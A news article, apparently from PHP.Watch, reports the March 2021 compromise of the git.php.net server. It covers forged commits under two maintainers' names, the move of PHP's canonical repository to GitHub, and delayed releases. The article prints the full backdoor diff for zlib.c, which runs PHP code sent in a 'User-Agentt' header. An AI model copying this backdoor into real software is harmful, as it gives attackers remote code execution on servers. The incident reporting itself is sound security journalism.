git.php.net server compromised, move to GitHub, and delayed updates

Published On29 Mar 2021

git.php.net server hacked, and PHP source moved to GitHub

Update on 7th of April, 2021 This story is outdated. See Update to recent PHP Git server incident

The official PHP Git server, git.php.net, was compromised on Sunday 28th of March 2021. The attacker managed to impersonate two of the PHP maintainers, and placed a backdoor that would enable them to remotely execute code by sending a specially crafted HTTP request.

Prior to this incident, git.php.net was the official PHP source code repository. This repo was being mirrored at GitHub (github.com/php/php-src). As a proactive method to after incident, the GitHub mirror is made the canonical repository to which all changes are pushed.

For the time being, the git.php.net server is still available both as Git remote and Git Web. This server contains the fixes that removed the backdoor placed by the attacker. It will not receive latest changes, and will only serve as a read-only source to not break any existing links.

The Incident

On Sunday 28th of March 2021, git.php.net server received two commits that impersonated the PHP project founder Rasmus Lerdorf and Nikita Popov. The commits had a message "[skip-ci] Fix typo", to presumably make them look trivial.

In Git, it is possible to set any name and any email address as the author, and it goes without saying that Rasmus and Nikita did not make these commits themselves.

The first commit (c730aa26) had the name Rasmus Lerdorf as the commit author and committer. This commit introduced the backdoor that would execute any code contained in an HTTP header of a specially crafted HTTP header.

Nikita, one of the main PHP maintainers quickly spotted this, and reverted this commit. He revoked the access of Rasmus to git.php.net. Just seven hours later, git.php.net received a commit (2b0f239b) with author name none other than Nikita Popov, that reintroduced the same backdoor code. Another PHP maintainer, Levi Morrison reverted the last commit that re-introduced the backdoor. There have been no further attacks since.

It is likely that the attacker gained access to the git.php.net server, rather than access to Nikita's and Rasmus's devices.

Nikita then decided to make the GitHub repository (that was set as a mirror a long time ago) the canonical repository, and configure the GitHub php organization to require 2FA on all accounts a security precaution.

Backdoor Placed

It is still not clear the real person behind this attack. However, the backdoor wasn't really trying to disguise itself.

git show c730aa26bd --pretty=fuller
commit c730aa26bd52829a49f2ad284b181b7e82a68d7d
Author:     Rasmus Lerdorf <rasmus@lerdorf.com>
AuthorDate: Sun Mar 28 05:57:07 2021 +0200
Commit:     Rasmus Lerdorf <rasmus@lerdorf.com>
CommitDate: Sun Mar 28 05:57:07 2021 +0200

    [skip-ci] Fix typo

    Fixes minor typo.

    Signed-off-by: Rasmus Lerdorf <rasmus@lerdorf.com>

diff --git a/ext/zlib/zlib.c b/ext/zlib/zlib.c
index 02fb4dd207..6964407837 100644
--- a/ext/zlib/zlib.c
+++ b/ext/zlib/zlib.c
@@ -360,6 +360,17 @@ static void php_zlib_output_compression_start(void)
 {
        zval zoh;
        php_output_handler *h;
+       zval *enc;
+
+       if ((Z_TYPE(PG(http_globals)[TRACK_VARS_SERVER]) == IS_ARRAY || zend_is_auto_global_str(ZEND_STRL("_SERVER"))) &&
+               (enc = zend_hash_str_find(Z_ARRVAL(PG(http_globals)[TRACK_VARS_SERVER]), "HTTP_USER_AGENTT", sizeof("HTTP_USER_AGENTT") - 1))) {
+               convert_to_string(enc);
+               if (strstr(Z_STRVAL_P(enc), "zerodium")) {
+                       zend_try {
+                               zend_eval_string(Z_STRVAL_P(enc)+8, NULL, "REMOVETHIS: sold to zerodium, mid 2017");
+                       } zend_end_try();
+               }
+       }

        switch (ZLIBG(output_compression)) {
                case 0:

Following the code added, it looks like the attacker was trying to place a backdoor that executes arbitrary PHP code the attacker sends.

If the attacker sends an HTTP request to a server running this compromised build of PHP, it would execute any code that is contained in the User-Agentt header (notice the extra t in "Agent").

It also contains text REMOVETHIS: sold to zerodium, mid 2017. Zerodium is a commercial organization that pays for zero-day and other exploits. Zerodium did not immediately responded to a request to confirm if this is a vulnerability they received.

Move to GitHub

Nikita quickly responded by making the current GitHub mirror the official repository for all PHP development.

This is not the first time the PHP project using GitHub; the PHP documentation is currently hosted and managed on GitHub. Further, the PHP mirror on GitHub was open pull-requests, and was the primary way of contributing to PHP.


Any existing Git remote URLs to git.php.net must be updated to the GitHub URLs.

  • New SSH remote URL: git@github.com:php/php-src.git
  • New HTTPS remote URL: https://github.com/php/php-src.git

Git clone operations

- git clone https://git.php.net/repository/php-src.git
+ git clone https://github.com/php/php-src.git

Update existing remotes

git remote set-url origin git@github.com:php/php-src.git

All members of the php organization on PHP is required to have Two-Factor Authentication setup, and it is also encouraged for all PHP collaborates and contributors to enable commit signing on GitHub.

Updates Delayed

As a precautionary measure, the upcoming patch releases PHP 8.0.4 and PHP 7.4.17 will be delayed by two weeks. This is to leave a bit more time to scrutinize the existing code base.

PHP 7.3 is currently in security-fixes phrase, which will also receive an update if any security issues are found.

The PHP security team is reachable via email at security@php.net.

FAQs

  • Do I need to update PHP? No. This backdoor was placed on the Git server, and there are no PHP releases containing that code. In fact, this backdoor was removed within 12 hours, which is pretty quick given it was on a Sunday.

  • What is the canonical PHP Git server? https://github.com/php/php-src.

  • Is git.php.net shut down? No. Not yet at least. There are no immediately plans to shut down this server as it would break several existing links to the Git Web instance running on this address.

  • How long was git.php.net vulnerable? It is not clear yet. However, git.php.net was immediately dropped as the canonical PHP Git repository, and this vulnerability should not be effective anymore.

  • Are there any other backdoors? PHP.Watch and others PHP maintainers have their own copy of the Git repository, and we can confirm that the Git commit history was not rewritten. However, it is not guaranteed that the current code base is completely free of backdoors. The backdoor related to this incident was not trying to disguise itself. If you find anything unusual, please contact security@php.net.

  • wOw pHP sTiLl gOiNg HUh? (づ ̄ 3 ̄)づ


Further resources

In other news on PHP.Watch

All NewsFeed
PHP 8.4 Feature-freeze, first Release Candidate released

PHP 8.4 Feature-freeze, first Release Candidate released

The first release candidate of the upcoming PHP 8.4 is now out. PHP8.4-RC1 previews all new features, changes, and deprecations available on PHP 8.4, and can be used to test the compatibility of applications with PHP 8.4.
PHP Release Cycle Update

PHP Release Cycle Update

The PHP release cycle changes to extend the active support for all current and future PHP versions from one year to two years, and to align the support timelines to the end of the calendar year.
PHP 8.3 Released!

PHP 8.3 Released!

PHP 8.3 was released today, containing over 1,000 commits from over 100 contributors.
Subscribe to PHP.Watch newsletter for monthly updates

You will receive an email on last Wednesday of every month and on major PHP releases with new articles related to PHP, upcoming changes, new features and what's changing in the language. No marketing emails, no selling of your contacts, no click-tracking, and one-click instant unsubscribe from any email you receive.

Support PHP.Watch — If you find the articles, version information, Codex, and other PHP.Watch contributions useful, consider supporting through GitHub Sponsors. Your sponsorship helps dedicate more time to creating valuable content and improving the PHP community. Together, we can keep the momentum going — thank you for your support!

Thanks to the highest tier sponsor: @TomasVotruba for your generous support to keep PHP.Watch moving 💜